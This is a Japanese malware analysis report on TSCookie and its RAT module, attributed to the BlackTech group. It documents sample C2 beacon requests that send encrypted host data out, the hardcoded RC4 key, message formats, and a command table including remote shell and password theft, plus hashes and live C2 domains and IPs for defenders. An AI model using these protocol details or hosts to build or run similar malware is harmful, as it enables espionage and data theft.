プラグインをダウンロードして実行するマルウエアTSCookie (2018-03-01)
2018年1月17日頃、文部科学省に偽装した不正なメールが送信されていたことが一部で確認されています[1]。このメールにはURLが記載されており、アクセスするとマルウエアTSCookieがダウンロードされました。(トレンドマイクロ社はこのマルウエアをPLEADと呼んでいます[2]。PLEADは、攻撃キャンペーン名として使われることもあるため、ここではこのマルウエアをTSCookieと記載します。)TSCookieは、2015年頃から確認されており、BlackTech[3]と呼ばれる攻撃グループとの関連が疑われています。JPCERT/CCではこのマルウエアを使用した攻撃グループが、過去に日本の組織をターゲットに標的型攻撃を行っていることを確認しています。
今回は、TSCookieの詳細について紹介します。
TSCookieの概要
図1は、TSCookie実行時の動作の流れを示しています。
TSCookie単体にはダウンローダーとしての機能しかありません。その他の機能は、外部からモジュールをダウンロードすることで追加するようになっています。今回TSCookieがダウンロードしたモジュールはDLLファイルで、情報の送信など多数の機能を持つもの(以降、TSCookieRATと記載する)でした。なお、ダウンロードしたモジュールは、メモリ上でのみ動作します。
以降では、TSCookie およびTSCookieRATの詳細な挙動を解説します。
TSCookieの挙動の詳細
TSCookieは、特定のサイトとHTTPで通信を行い、「モジュール」とモジュールをロードするための「ローダー」をダウンロードします。リソース内に暗号化されたDLLファイルを持っており、起動するとそのDLLファイルをメモリ上に展開して実行します。通信などのメインの機能は、DLLファイル内にあります。(メインの機能が暗号化されずに、そのまま本体に含まれている場合もあります。また、他のプロセスを起動して、そこに復号したDLLファイルをインジェクションして実行するものも存在します。)
このマルウエアはRC4で暗号化された設定情報を持っており、通信先は設定情報に含まれています。設定情報の詳細に関しては、Appendix Aをご覧ください。
以下は、TSCookieが初めに送信するHTTP GETリクエストの例です。送信する情報は暗号化されてCookieヘッダーに含まれています。
GET /Default.aspx HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Date: Thu, 18 Jan 2018 10:20:55 GMT
Pragma: no-cache
Accept: */*
Cookie: 1405D7CD01C6978E54E86DA9525E1395C4DD2F276DD28EABCC3F6201ADAA66F55C15352D29D0FFE51BC9D431EB23E8E58959653D9366E372B5CFCC49BB
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
Host:[ホスト名]:443
Cookieヘッダーに含まれるデータはRC4で暗号化(キーはDateヘッダーの値)されています。送信するデータのフォーマットについては、Appendix B表B-1をご覧ください。 このHTTP GETリクエストによってダウンロードしたデータは、設定情報に含まれている固定値(Appendix A表A)と送信時にデータに含まれていた値(Appendix B表B-1の「システム情報から作成した4byte」)を合わせた8byteの値によってRC4で暗号化されています。このダウンロードしたデータには、モジュールをロードするためのローダーが含まれています。 次に、TSCookie はモジュールをダウンロードします。以下は、モジュールをダウンロードする際に送信するHTTP POSTリクエストの例です。
POST /Default.aspx HTTP/1.1
Connection: Keep-Alive
Date: Thu, 18 Jan 2018 10:30:55 GMT
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
Content-Length: 34
Host: [ホスト名]:443
[データ]
送信するデータはHTTP GETリクエストと同じくRC4で暗号化(キーはDateヘッダーの値)されています。送信するデータのフォーマットについては、Appendix B表B-2をご覧ください。このHTTP POSTリクエストによってダウンロードしたデータは、HTTP GETリクエストの時と同じキーによってRC4で暗号化されています。このモジュールをメモリ上に展開し、HTTP GETリクエストで受信したローダーを呼び出すことでモジュールを実行します。
TSCookieRATの挙動の詳細
TSCookieRATは実行時に通信先などの情報をTSCookieから与えられることによって動作します。TSCookieRAT が実行されると初めに、感染ホストの情報をHTTP POSTリクエストで外部に送信します。(送信時のHTTPヘッダーの内容は、TSCookieと同じです。)
送信されるデータは先頭から0x14がRC4で暗号化(キーはDateヘッダーの値)されており、それ以降に感染ホストのホスト名やユーザ名、OSバージョンなどが含まれています。送信するデータのフォーマットについては、Appendix C表C-1をご覧ください。
図2は送信するデータをデコードした例です。
その後、HTTP GETリクエストを送信します。(送信時のHTTPヘッダーの内容は、TSCookieと同じです。)C&Cサーバから受信するデータには、コマンドなどが含まれており、受信したコマンドに応じて、以下の機能を実行します。(受信するデータについてはAppendix C表C-2をご覧ください)(コマンドの詳細についてはAppendix D表D-1をご覧ください)
- 任意のシェルコマンド実行
- ドライブ情報の送信
- システム情報の送信
- ファイル関連の操作
- Internet Explorer, Edge, Firefox, Chrome, Outlookからパスワード情報の収集
コマンドの実行結果は、最初のHTTP POSTリクエスト(感染ホストの情報送信時)と同じフォーマットで送信されます。なお、送信されてくるコマンド自体はエンコードされていません。以下は、プロセスとモジュール一覧を収集するコマンドを実行した際に送信されたデータをデコードした例です。
TSCookieデコードツール
TSCookieをデコードして設定を抽出するツールを作成し、GitHubに公開しています。TSCookieを分析する際にご活用ください。
JPCERTCC/aa-tools · GitHub
https://github.com/JPCERTCC/aa-tools/blob/master/tscookie_decode.py
おわりに
TSCookieを使用する攻撃者はこれまで様々なマルウエアを使用して日本の組織を攻撃しています。今後もTSCookieを利用した攻撃は続く可能性があるため、注意が必要です。
今回解説した検体のハッシュ値に関しては、Appendix Eに記載しています。また、これまでJPCERT/CCで確認しているTSCookieの通信先の一部はAppendix Fに記載していますので、このような通信先にアクセスしている端末がないかご確認ください。
分析センター 朝長 秀誠
参考情報
[1]piyolog: 2018年1月の文科省なりすましメールについてまとめてみた
http://d.hatena.ne.jp/Kango/20180119/1516391079
[2]トレンドマイクロ: Following the Trail of BlackTech’s Cyber Espionage Campaigns
https://documents.trendmicro.com/assets/appendix-following-the-trail-of-blacktechs-cyber-espionage-campaigns.pdf
[3]トレンドマイクロ: 「BlackTech」によるサイバー諜報活動の足跡を追う
http://blog.trendmicro.co.jp/archives/15393
Appendix A TSCookie設定情報
表 A: 設定情報の一覧
オフセット | 説明 | 備考 |
0x000 | 通信先1使用フラグ | 0x01の場合通信を行う |
0x004 | 通信先1のポート番号1 | |
0x008 | 通信先1のポート番号2 | |
0x010 | 通信先1 | |
0x100 | 通信先2使用フラグ | |
0x104 | 通信先2のポート番号1 | |
0x108 | 通信先2のポート番号2 | |
0x110 | 通信先2 | |
0x200 | 通信先3使用フラグ | |
0x204 | 通信先3のポート番号1 | |
0x208 | 通信先3のポート番号2 | |
0x210 | 通信先3 | |
0x300 | 通信先4使用フラグ | |
0x304 | 通信先4のポート番号1 | |
0x308 | 通信先4のポート番号2 | |
0x310 | 通信先4 | |
0x400 | プロキシサーバー | |
0x480 | プロキシポート番号 | |
0x484 | プロキシ設定使用フラグ | |
0x500 | ID | |
0x604 | 固定値 | 4byteのRC4キー(0x925A765D) |
0x89C | 停止時間 |
Appendix B TSCookie送受信データの内容
表 B-1: Cookieヘッダーの値のデータフォーマット(復号後)
オフセット | 長さ | 内容 |
0x00 | 4 | システム情報から作成した4byte ※ |
0x04 | 4 | 0x10050014 |
0x08 | 4 | 0x10001 |
0x0C | 4 | 0xAB1 |
0x10 | 4 | 0x04 |
0x14 | 4 | システム情報から作成した4byte |
0x18 | - | ランダムデータ |
※ 固定値(0x925A765D)をキーにしてRC4暗号化されている。
表 B-2: HTTP POSTデータのデータフォーマット(復号後)
オフセット | 長さ | 内容 |
0x00 | 4 | システム情報から作成した4byte |
0x04 | 4 | 0x10050014 |
0x08 | 4 | 0x10001 |
0x0C | 4 | 0xAAD |
0x10 | 4 | 0x14以降のデータ長 |
0x14 | - | ランダムデータ |
Appendix C TSCookieRAT送受信データの内容
表 C-1: HTTP POSTデータのデータフォーマット(復号後)
オフセット | 長さ | 内容 |
0x00 | 4 | システム情報から作成した4byte |
0x04 | 4 | 0x10050014 |
0x08 | 4 | 0x10001 |
0x0C | 4 | 0xAB0 |
0x10 | 4 | 0x14以降のデータ長 |
0x14 | - | 感染ホストの情報(「システム情報から作成した4byte」のキーでRC4暗号化) |
※ 14hまではDateヘッダーの値でRC4暗号化されている。
表 C-2: 受信データフォーマット
オフセット | 長さ | 内容 |
0x00 | 4 | コマンド |
0x04 | 4 | 0x8以降のデータ長 |
0x08 | - | パラメータ |
Appendix D TSCookieRATのコマンド
表 D: コマンド一覧
値 | 内容 |
0x912 | 停止時間設定 |
0x930 | プロセスとモジュール一覧の取得 |
0x932 | 終了 |
0x934 | リモートシェル開始 |
0x935 | リモートシェルコマンドの実行 |
0x936 | リモートシェル終了 |
0x946 | IPアドレス取得 |
0x950 | ファイルの実行(ウィンドウ表示あり) |
0x951 | ファイルの実行(ウィンドウ表示なし) |
0x952 | メッセージ送信 |
0x953 | ドライブ情報の送信 |
0x954 | ファイル一覧の送信 |
0x955 | ファイルサイズの送信 |
0x956 | ファイルの送信 |
0x957 | オブジェクトハンドルのクローズ |
0x958 | 送信するファイルの指定(0x955、0x956でファイル送信) |
0x959 | ファイルダウンロード |
0x95A | ファイルの削除 |
0x95C | ファイルの移動 |
0x95E | - |
0x960 | - |
0x96B | ウィンドウタイトル取得 |
0x96E | Internet Explorer, Edge, Firefox, Chrome, Outlookからパスワード情報の収集 |
Appendix E 検体のSHA-256ハッシュ値
TSCookie
- 6d2f5675630d0dae65a796ac624fb90f42f35fbe5dec2ec8f4adce5ebfaabf75
- cdf0e4c415eb55bccb43a650e330348b63bc3cbb53f71a215c44ede939b4b830
- 17f1996ad7e602bd2a7e9524d7d70ee8588dac51469b08017df9aaaca09d8dd9
- 1fa7cbe57eedea0ebc8eb37b91e7536c07be7da7775a6c01e5b14489387b9ca8
- e451a1e05c0cc363a185a98819cd2af421ac87154702bf72007ecc0134c7f417
- 1da9b4a84041b8c72dad9626db822486ce47b9a3ab6b36c41b0637cd1f6444d6
- 35f966187098ac42684361b2a93b0cee5e2762a0d1e13b8d366a18bccf4f5a91
- 0683437aebd980c395a83e837a6056df1a21e137e875f234d1ed9f9a91dfdc7f
- 0debbcc297cb8f9b81c8c217e748122243562357297b63749c3847af3b7fd646
- 96306202b0c4495cf93e805e9185ea6f2626650d6132a98a8f097f8c6a424a33
- 6b66c6d8859dfe06c0415be4df2bd836561d5a6eabce98ddd2ee54e89e37fd44
- 06a9c71342eeb14b7e8871f77524e8acc7b86670411b854fa7f6f57c918ffd2b
- 20f7f367f9cb8beca7ce1ba980fafa870863245f27fea48b971859a8cb47eb09
- f16befd79b7f8ffdaf934ef337a91a5f1dc6da54c4b2bee5fe7a0eb38e8af39e
- 12b0f1337bda78f8a7963d2744668854d81e1f1b64790b74d486281bc54e6647
- 201bf3cd2a723d6c728d18a9e41ff038549eac8406f453c5197a1a7b45998673
- 5443ee54a532846da3182630e2bb031f54825025700bcd5f0e34802e7345c7b2
- 39d7d764405b9c613dff6da4909d9bc46620beee7a7913c4666acf9e76a171e4
- afe780ba2af6c86babf2d0270156da61f556c493259d4ca54c67665c17b02023
- 4a8237f9ecdad3b51ffd00d769e23f61f1e791f998d1959ad9b61d53ea306c09
- 203c924cd274d052e8e95246d31bd168f3d8a0700a774c98eff882c8b8399a2f
- bbbcce847097e4ddb59d15076f8aa86f51064a5a4a93858e67dec971bd36d007
- 4842c5403372ead4fd28a26f2e1dfc139541e71bcf574e62c7c18b9cfc406674
TSCookieRAT
- 2bd13d63797864a70b775bd1994016f5052dc8fd1fd83ce1c13234b5d304330d
Appendix F 通信先一覧
- 220.130.216.76
- 60.244.52.29
- 45.76.102.145
- jpcerts.jpcertinfo.com
- jpcert.ignorelist.com
- twnicsi.ignorelist.com
- twcertcc.jumpingcrab.com
- okinawas.ssl443.org
- apk36501.flnet.org
- appinfo.fairuse.org
- carcolors.effers.com
- edu.microsoftmse.com
- eoffice.etowns.org
- epayplus.flnet.org
- fatgirls.fatdiary.org
- gethappy.effers.com
- iawntsilk.dnset.com
- inewdays.csproject.org
- ktyguxs.dnset.com
- lang.suroot.com
- langlang.dnset.com
- longdays.csproject.org
- lookatinfo.dnset.com
- newtowns.flnet.org
- ntp.ukrootns1.com
- office.dns04.com
- savecars.dnset.com
- splashed.effers.com
- sslmaker.ssl443.org